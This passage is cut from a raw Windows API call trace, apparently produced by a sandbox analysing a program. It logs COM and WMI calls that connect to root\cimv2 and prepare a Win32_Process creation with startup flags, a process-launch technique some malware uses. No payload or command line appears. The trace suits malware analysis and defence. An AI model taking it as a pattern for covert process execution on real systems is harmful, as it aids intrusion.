Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0080.320] WbemDefPath:IUnknown:AddRef (This=0x1c02e970) returned 0x3 [0080.320] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0080.320] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0080.320] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c021700) returned 0x0 [0080.320] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021700, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.320] WbemDefPath:IUnknown:Release (This=0x1c021700) returned 0x3 [0080.320] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0080.320] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0080.320] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0080.320] WbemDefPath:IUnknown:Release (This=0x1c02e970) returned 0x2 [0080.320] WbemDefPath:IUnknown:Release (This=0x1c02e970) returned 0x1 [0080.320] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0080.320] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0080.320] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1c02e970) returned 0x0 [0080.320] WbemDefPath:IUnknown:AddRef (This=0x1c02e970) returned 0x3 [0080.320] WbemDefPath:IUnknown:Release (This=0x1c02e970) returned 0x2 [0080.320] WbemDefPath:IWbemPath:SetText (This=0x1c02e970, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0080.321] IWbemClassObject:Get (in: This=0x1c028680, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad3998*=0, plFlavor=0x2ad399c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad3998*=19, plFlavor=0x2ad399c*=0) returned 0x0 [0080.321] IWbemClassObject:Get (in: This=0x1c028680, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad3998*=19, plFlavor=0x2ad399c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad3998*=19, plFlavor=0x2ad399c*=0) returned 0x0 [0080.321] IWbemClassObject:Put (This=0x1c028680, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0080.322] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e730, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0080.322] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0080.322] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0080.322] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.322] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0080.322] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0080.322] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0080.322] IUnknown:Release (This=0x111f638) returned 0x1 [0080.324] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c0218a0) returned 0x0 [0080.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0218a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0080.324] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0218a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1c02ea30) returned 0x0 [0080.324] WbemDefPath:IUnknown:Release (This=0x1c0218a0) returned 0x0 [0080.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ea30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1c02ea30) returned 0x0 [0080.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ea30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0080.325] WbemDefPath:IUnknown:AddRef (This=0x1c02ea30) returned 0x3 [0080.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ea30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0080.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ea30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0080.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ea30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c0218e0) returned 0x0 [0080.325] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0218e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.325] WbemDefPath:IUnknown:Release (This=0x1c0218e0) returned 0x3 [0080.325] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0080.325] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0080.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ea30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0080.325] WbemDefPath:IUnknown:Release (This=0x1c02ea30) returned 0x2 [0080.325] WbemDefPath:IUnknown:Release (This=0x1c02ea30) returned 0x1 [0080.325] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0080.325] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0080.326] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ea30, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1c02ea30) returned 0x0 [0080.326] WbemDefPath:IUnknown:AddRef (This=0x1c02ea30) returned 0x3 [0080.326] WbemDefPath:IUnknown:Release (This=0x1c02ea30) returned 0x2 [0080.326] WbemDefPath:IWbemPath:SetText (This=0x1c02ea30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0080.326] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ea30, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0080.326] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0080.326] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.326] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0080.326] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0080.326] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0080.326] IUnknown:Release (This=0x111f638) returned 0x1 [0080.327] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c0219e0) returned 0x0 [0080.327] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0219e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0080.327] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c0219e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c021a00) returned 0x0 [0080.327] WbemLocator:IUnknown:Release (This=0x1c0219e0) returned 0x0 [0080.327] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021a00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c021a00) returned 0x0 [0080.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021a00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0080.328] WbemLocator:IUnknown:AddRef (This=0x1c021a00) returned 0x3 [0080.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021a00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0080.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021a00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0080.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021a00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0080.328] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0080.328] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0080.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021a00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0080.328] WbemLocator:IUnknown:Release (This=0x1c021a00) returned 0x2 [0080.328] WbemLocator:IUnknown:Release (This=0x1c021a00) returned 0x1 [0080.328] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0080.328] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0080.329] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021a00, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c021a00) returned 0x0 [0080.329] WbemLocator:IUnknown:AddRef (This=0x1c021a00) returned 0x3 [0080.329] WbemLocator:IUnknown:Release (This=0x1c021a00) returned 0x2 [0080.329] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ea30, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0080.329] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0080.329] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.329] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c021a20) returned 0x0 [0080.329] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c021a20, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1c018380) returned 0x0 [0080.380] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018380, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf974a0) returned 0x0 [0080.380] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf974a0, pProxy=0x1c018380, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0080.380] WbemLocator:IUnknown:Release (This=0x1bf974a0) returned 0x1 [0080.382] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018380, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf974e0) returned 0x0 [0080.382] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018380, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf974a0) returned 0x0 [0080.382] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf974a0, pProxy=0x1c018380, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0080.382] WbemLocator:IUnknown:Release (This=0x1bf974a0) returned 0x2 [0080.382] WbemLocator:IUnknown:Release (This=0x1bf974e0) returned 0x1 [0080.382] CoTaskMemFree (pv=0x1c00a240) [0080.383] WbemLocator:IUnknown:AddRef (This=0x1c018380) returned 0x2 [0080.383] WbemLocator:IUnknown:Release (This=0x1c021a20) returned 0x0 [0080.383] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0080.383] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0080.384] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018380, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf974b0) returned 0x0 [0080.384] WbemLocator:IRpcOptions:Query (in: This=0x1bf974b0, pPrx=0x1c021a80, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0080.384] WbemLocator:IUnknown:Release (This=0x1bf974b0) returned 0x2 [0080.384] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0080.384] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0080.384] WbemLocator:IUnknown:QueryInterface (in: This=0x1c018380, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1c018380) returned 0x0 [0080.384] WbemLocator:IUnknown:Release (This=0x1c018380) returned 0x2 [0080.384] SysStringLen (param_1=0x0) returned 0x0 [0080.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ea30, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0080.384] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0080.384] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.384] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e730, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0080.384] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e730, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0080.385] IWbemServices:GetObject (in: This=0x1c018380, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1c0289f0, ppCallResult=0x0) returned 0x0 [0080.454] IWbemClassObject:Get (in: This=0x1c0289f0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0080.454] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0080.454] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0080.454] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0080.455] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0080.455] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0080.455] IUnknown:Release (This=0x111f638) returned 0x1 [0080.457] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c021a20) returned 0x0 [0080.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021a20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, 